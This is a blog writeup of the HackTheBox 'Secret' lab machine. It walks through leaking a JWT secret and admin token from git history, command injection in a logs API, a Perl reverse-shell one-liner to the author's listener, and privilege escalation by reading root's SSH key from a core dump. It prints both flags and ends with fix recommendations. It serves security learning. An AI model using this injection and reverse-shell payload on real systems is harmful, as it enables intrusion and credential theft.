Skip to main content
  1. writeup-ctf/

Writeup - Secret (HTB)

·1080 words·6 mins·
d3vyce
Author
d3vyce
Cybersecurity, Devops, Infrastructure
Table of Contents

This is a writeup for the Secret machine from the HackTheBox site.

Enumeration
#

First, let’s start with a scan of our target with the following command:

nmap -sV 10.10.11.120

Three TCP ports are discovered:

  • 22/tcp : SSH port (OpenSSH 8.2p1)
  • 80/tcp : web server (Nginx 1.18.0)
  • 3000/tcp : Node.js

We have a site on port 80 and Node.js on port 3000: potentially an API. Let’s go see with a browser what the site looks like and if we can find any information.

We can see several things: already there is an API with documentation, so potentially an attack vector. But we also have the source code of the site/API, which could be used to find vulnerabilities.

Exploit
#

First, I will try to understand how the API works with the documentation. With the help of Postman software, I will create POST/GET requests to interact with the API. Let’s create an account:

the API returns our user name which is normal, now let’s try to connect to get our TOKEN and see how it is constituted:

The TOKEN is of type JWT, it is a token in 3 parts encoded in Base64 :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 :
{"alg":"HS256","typ":"JWT"}

eyJfaWQiOiI2MjBlY2Y2Y2FiMjEyYzA0NjE1YjdmZDYiLCJuYW1lIjoiYXplcnR5IiwiZW1haWwiOiJhemVydHlAYXplcnR5LmNvbSIsImlhdCI6MTY0NTEzNzg2N30 :
{"_id":"620ecf6cab212c04615b7fd6","name":"azerty","email":"[email protected]","iat":1645137867}


oiM2eElnf05YPc9BSq9PiP8S8KCJh7lvhjo1x-sapIM

Now let’s try to access the priv page, to do this we need to send a request with a headers “auth-token” which has as value our TOKEN.

The API returns that we are a normal user. In the documentation we notice that the admin nickname is “theadmin”, which is confirmed in the source code. The user with this nickname will have admin access.

The problem is that the account already exists and therefore the nickname is not available when creating a new account.

So we will have to find a way to send a request with the admin TOKEN to have access to the priv page and then send commands to the server. I have read about the json web token exploit on the following page:

Hacking JSON Web Tokens (JWTs)

I found out that if we have the admin TOKEN (which we have thanks to the documentation) and we have the TOKEN_SECRET which is used by the server. We can deduce the TOKEN without needing to know the admin password, perfect!

After some analysis of the source code I discover that there are two hidden files: “.git” and “.env”. And if I look in the “.env” file, I find the following content :

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Bingo, the TOKEN_SECRET is in the file, it only remains to decrypt the tocken admin with this secret on the site JWT :

And we get the admin TOKEN, unfortunately after sending the request, the TOKEN is not recognized, there must be another TOKEN_SECRET somewhere.

I quickly realize that there are two commits on the .env file, in the first commit there is another TOKEN :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo

I test this new TOKEN and make a request:

It works, I now have admin access to the API. Now let’s analyze the logs page to find a exploit.

I realize that the page check if I am admin, then run the command “git”. So if in the variable “file” I add a command after a filename, I can execute any command, for example :

GET http://10.10.11.120/api/logs?file=;ls /home
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n"

After the return of the log command, the result of the “ls /home” command is here : dasith.

Now I will try to create a reverse shell to do the privilege elevation. After opening the 1234 on my machine with the “nc” command, I use the following request to initiate the connection:

http://10.10.11.120/api/logs?file=;perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.246:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

I do a shell upgrade with the following command:

python3  -c 'import pty;pty.spawn("/bin/bash")'

I now have a clean shell with the user dasith !

Then I can get the first flag !

dasith@secret:~/local-web$ cat /home/dasith/user.txt
d2afcc21f60e10127abdf051998281af

Privilege escalation
#

At first I use the linPeas script, but without much success. After testing several exploits (CVE-2021-4034, Reusing Sudo Tokens, Credentials from Process Memory, …), I resign myself to go look somewhere else. I notice that in the “/opt” folder, there is a program that I can run with root rights : “count”.

After running it to understand how it works, I understand that the program takes a file as input and gives in return the number of characters, words, lines. It is globally equivalent to the “wc” command, but it offers the possibility to save the result in a file. After having done an analysis of the code with “gdb” without much success, I put myself in search of a solution to recover the data that program use during its execution.

I notice that there is a second file: code.c. Potentially the source code of “count”. In this file nothing special except the following line:

// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

After some research, this command activates the generation of log following a core dump. This log contains among other things the contents of the memory during the crash, it would be possible to recover the contents of the file being read by the program. So let’s try to make a core dump during the execution of the program and analyze the logs !

So I launch the program, then pause it with “CTRL+Z”. I then look for the process number and generate a crash with “kill -BUS”. Then i resume the execution with “fg”, the program makes a Core Dump. Normally a log has been generated in “/var/log”, I extract the log with “apport-unpack”. And then I extract words with the command “strings”:

apport-unpack /var/crash/_opt_count.1000.crash /tmp/log
strings /tmp/log/CoreDump

I find in the output of the command the private key of the root account ! I now can use it to connect with ssh and get the root flag of the machine:

chmod 600 id.root
ssh -i id.root [email protected]
root@secret:~# cat root.txt 
f1fd65e03617bbf10967424cffe1cc3c

Recommendations
#

To patch this host I think it would be necessary to perform a number of actions:

  • Don’t include real TOKEN in the documentation
  • Take care of removing every secret or sensitive information in the source code before publish it
  • Do not hard code the API admin name
  • Secure the API to prevent commands from being executed on the host
  • Disable logs following a core dump or at least do not allow access to a non-root user
  • Do not leave the source code of a program accessible to everyone

Related

Writeup - Meta (HTB)
·685 words·4 mins
Writeup - Timelapse (HTB)
·646 words·4 mins
Writeup - Shibboleth (HTB)
·614 words·3 mins